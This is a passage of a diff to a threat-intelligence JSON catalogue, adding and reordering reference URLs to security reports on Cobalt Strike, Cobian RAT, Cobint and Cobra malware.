"https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654", + "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", + "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://isc.sans.edu/diary/rss/28664", + "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://msrc.microsoft.com/blog/2022/10/hunting-for-cobalt-strike-mining-and-plotting-for-fun-and-profit/", + "https://www.youtube.com/watch?v=LA-XE5Jy2kU", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", + "https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", + "https://www.mandiant.com/resources/defining-cobalt-strike-components", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", + "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", + "https://www.inde.nz/blog/different-kind-of-zoombomb", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://www.youtube.com/watch?v=FC9ARZIZglI", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion", + "https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/", + "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://d01a.github.io/syscalls/", + "https://securelist.com/apt-luminousmoth/103332/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://boschko.ca/cobalt-strike-process-injection/", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://twitter.com/RedDrip7/status/1402640362972147717?s=20", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://twitter.com/MBThreatIntel/status/1412518446013812737", + "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://skyblue.team/posts/scanning-virustotal-firehose/", + "https://isc.sans.edu/diary/rss/27176", + "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", + "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", + "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://cert.gov.ua/article/339662", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", + "https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a", + "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", + "https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b", + "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", + "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", + "https://cert.gov.ua/article/703548", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", + "https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py", + "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf", + "https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/", + "https://www.mandiant.com/media/10916/download", + "https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups", + "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", + "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", + "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", + "https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://github.com/blackorbird/APT_REPORT/blob/master/Oceanlotus/apt32_report_2019.pdf", + "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", + "https://labs.k7computing.com/index.php/cobalt-strikes-deployment-with-hardware-breakpoint-for-amsi-bypass/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a", + "https://cert.gov.ua/article/619229", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/", + "https://www.mandiant.com/media/12596/download", + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/", + "https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign", + "https://www.malware-traffic-analysis.net/2021/09/17/index.html", + "https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", "https://www.secureworks.com/research/threat-profiles/bronze-president", - "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e" + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", + "https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", + "https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", + "https://community.riskiq.com/article/0bcefe76", + "https://vanmieghem.io/blueprint-for-evading-edr-in-2022/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://www.youtube.com/watch?v=gfYswA_Ronw", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", + "https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/", + "http://blog.nsfocus.net/murenshark", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://redcanary.com/blog/gootloader", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://blog.macnica.net/blog/2020/11/dtrack.html", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://malwarebookreports.com/cryptone-cobalt-strike/", + "https://elastic.github.io/security-research/intelligence/2022/01/02.collecting-cobalt-strike-beacons/article/", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://isc.sans.edu/diary/rss/27618", + "https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2", + "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", + "https://blog.malwarebytes.com/threat-intelligence/2022/07/cobalt-strikes-again-uac-0056-continues-to-target-ukraine-in-its-latest-campaign/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/", + "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", + "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://asec.ahnlab.com/en/34549/", + "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", + "https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/", + "https://www.youtube.com/watch?v=WW0_TgWT2gs", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + 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"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.arashparsa.com/catching-a-malware-with-no-name/", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/", + "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", + "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", + "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://community.riskiq.com/article/c88cf7e6", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://wbglil.gitbook.io/cobalt-strike/", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", + "https://www.guidepointsecurity.com/yet-another-cobalt-strike-loader-guid-edition/", + "https://isc.sans.edu/diary/rss/26862", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack", + "https://isc.sans.edu/diary/28636", + "https://isc.sans.edu/diary/rss/28752", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", + "https://www.varonis.com/blog/hive-ransomware-analysis", + "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://blog.exatrack.com/melofee/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.istrosec.com/blog/apt-sk-cobalt/", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://www.youtube.com/watch?v=XfUTpwZKCDU", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", + "https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/", + "https://www.arashparsa.com/hook-heaps-and-live-free/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/", + "https://www.malware-traffic-analysis.net/2021/09/29/index.html", + "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", + "https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", + "https://twitter.com/redcanary/status/1334224861628039169", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", + "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack" ], "synonyms": [ "Agentemis", @@ -18769,10 +19669,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", - "https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html" + "https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html" ], "synonyms": [], "type": [] @@ -18785,15 +19685,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint", + "https://www.group-ib.com/blog/renaissance", + "https://www.netscout.com/blog/asert/double-infection-double-fun", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/", "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/", - "https://www.netscout.com/blog/asert/double-infection-double-fun", - "https://www.group-ib.com/blog/renaissance", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood" + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood" ], "synonyms": [ "COOLPANTS" @@ -18808,22 +19708,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra", - "https://github.com/hfiref0x/TDL", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra", + "https://docs.broadcom.com/doc/waterbug-attack-group", + "https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf", + "https://www.circl.lu/pub/tr-25/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", + "https://github.com/hfiref0x/TDL", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf", "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://www.circl.lu/pub/tr-25/", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", - 